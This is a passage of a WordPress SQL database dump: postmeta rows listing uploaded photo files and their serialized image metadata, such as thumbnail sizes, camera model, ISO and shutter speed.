(143,124,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_153744197-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153744197-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153744197-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153744197-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153744197-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153744197-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153744197-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153744197-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558664\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_153744197.jpg\";}'),
(144,125,'_wp_attached_file','2021/07/IMG_20200224_153922875-scaled.jpg'),
(145,125,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_153922875-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153922875-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153922875-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_153922875-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_153922875-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153922875-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153922875-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_153922875-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558763\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_153922875.jpg\";}'),
(146,126,'_wp_attached_file','2021/07/IMG_20200224_154007455_HDR-scaled.jpg'),
(147,126,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_154007455_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_154007455_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_154007455_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_154007455_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_154007455_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154007455_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154007455_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154007455_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558807\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0072463768115942\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_154007455_HDR.jpg\";}'),
(148,127,'_wp_attached_file','2021/07/IMG_20200224_154121814-scaled.jpg'),
(149,127,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_154121814-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154121814-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154121814-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154121814-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154121814-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154121814-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154121814-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154121814-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558881\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:5:\"0.025\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_154121814.jpg\";}'),
(150,128,'_wp_attached_file','2021/07/IMG_20200224_154250558-scaled.jpg'),
(151,128,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_154250558-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154250558-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154250558-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154250558-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154250558-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154250558-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154250558-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154250558-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582558970\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_154250558.jpg\";}'),
(152,129,'_wp_attached_file','2021/07/IMG_20200224_154407330_HDR-scaled.jpg'),
(153,129,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_154407330_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_154407330_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_154407330_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_154407330_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_154407330_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154407330_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154407330_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_154407330_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559047\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_154407330_HDR.jpg\";}'),
(154,130,'_wp_attached_file','2021/07/IMG_20200224_154410780_BURST000_COVER_TOP-scaled.jpg'),
(155,130,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:60:\"2021/07/IMG_20200224_154410780_BURST000_COVER_TOP-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_154410780_BURST000_COVER_TOP-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:54:\"IMG_20200224_154410780_BURST000_COVER_TOP-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_154410780_BURST000_COVER_TOP-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:54:\"IMG_20200224_154410780_BURST000_COVER_TOP-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_154410780_BURST000_COVER_TOP-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_154410780_BURST000_COVER_TOP-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_154410780_BURST000_COVER_TOP-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559052\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"80\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:45:\"IMG_20200224_154410780_BURST000_COVER_TOP.jpg\";}'),
(156,131,'_wp_attached_file','2021/07/IMG_20200224_154410780_BURST001-scaled.jpg'),
(157,131,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:50:\"2021/07/IMG_20200224_154410780_BURST001-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154410780_BURST001-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:44:\"IMG_20200224_154410780_BURST001-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154410780_BURST001-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:44:\"IMG_20200224_154410780_BURST001-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_154410780_BURST001-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_154410780_BURST001-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_154410780_BURST001-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559052\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:35:\"IMG_20200224_154410780_BURST001.jpg\";}'),
(158,132,'_wp_attached_file','2021/07/IMG_20200224_154420058_BURST000_COVER_TOP-scaled.jpg'),
(159,132,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:60:\"2021/07/IMG_20200224_154420058_BURST000_COVER_TOP-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_154420058_BURST000_COVER_TOP-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:54:\"IMG_20200224_154420058_BURST000_COVER_TOP-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:53:\"IMG_20200224_154420058_BURST000_COVER_TOP-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:54:\"IMG_20200224_154420058_BURST000_COVER_TOP-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_154420058_BURST000_COVER_TOP-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_154420058_BURST000_COVER_TOP-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:55:\"IMG_20200224_154420058_BURST000_COVER_TOP-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559060\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:45:\"IMG_20200224_154420058_BURST000_COVER_TOP.jpg\";}'),
(160,133,'_wp_attached_file','2021/07/IMG_20200224_154420058_BURST001-scaled.jpg'),
(161,133,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:50:\"2021/07/IMG_20200224_154420058_BURST001-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154420058_BURST001-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:44:\"IMG_20200224_154420058_BURST001-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:43:\"IMG_20200224_154420058_BURST001-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:44:\"IMG_20200224_154420058_BURST001-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_154420058_BURST001-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_154420058_BURST001-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:45:\"IMG_20200224_154420058_BURST001-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559060\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:35:\"IMG_20200224_154420058_BURST001.jpg\";}'),
(162,134,'_wp_attached_file','2021/07/IMG_20200224_154420997-scaled.jpg'),
(163,134,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_154420997-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154420997-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154420997-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154420997-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154420997-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154420997-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154420997-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154420997-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559061\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_154420997.jpg\";}'),
(164,135,'_wp_attached_file','2021/07/IMG_20200224_154536726-scaled.jpg'),
(165,135,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_154536726-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154536726-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154536726-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_154536726-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_154536726-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154536726-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154536726-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_154536726-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582559136\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_154536726.jpg\";}'),
